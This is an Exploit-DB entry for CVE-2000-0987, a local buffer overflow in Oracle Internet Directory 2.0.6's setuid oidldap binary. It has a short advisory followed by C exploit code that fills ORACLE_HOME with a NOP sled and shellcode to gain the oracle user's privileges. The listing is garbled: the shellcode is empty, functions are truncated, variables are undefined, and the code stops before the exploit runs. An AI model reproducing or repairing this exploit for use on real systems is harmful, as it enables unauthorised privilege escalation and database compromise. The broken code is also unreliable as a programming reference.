Oracle Internet Directory 2.0.6 oidldap Vulnerability

ID EDB-ID:20312
Type exploitdb
Reporter Juan Manuel Pascual Escribá
Modified 2000-10-18T00:00:00


Oracle Internet Directory 2.0.6 oidldap Vulnerability. CVE-2000-0987. Local exploit for linux platform


Oracle Internet Directory 2.0.6 is a pre-alpha development release, available as both an addon package and in the Oracle Database Software release 8.1.6. A vulnerability has been found in the oidldap binary within the package.

A buffer overflow exists in the oidldap binary, which is setuid oracle. When executed on the command line, the oidldap binary performs an unsafe check of the ORACLE_HOME environment variable. It is possible for a malicous user to execute shell code through the ORACLE_HOME environment variable, allowing the user to inherit an euid of oracle. In a stock installation of Oracle 8.1.6, this could create a scenario which would allow a local user to compromise the integrity of a database.

Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:   any user gain euid=oracle.

Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET                   13
#define DEFAULT_BUFFER_SIZE             700
#define NOP                            0x90
#define ORACLE_HOME             "/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int i;

  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);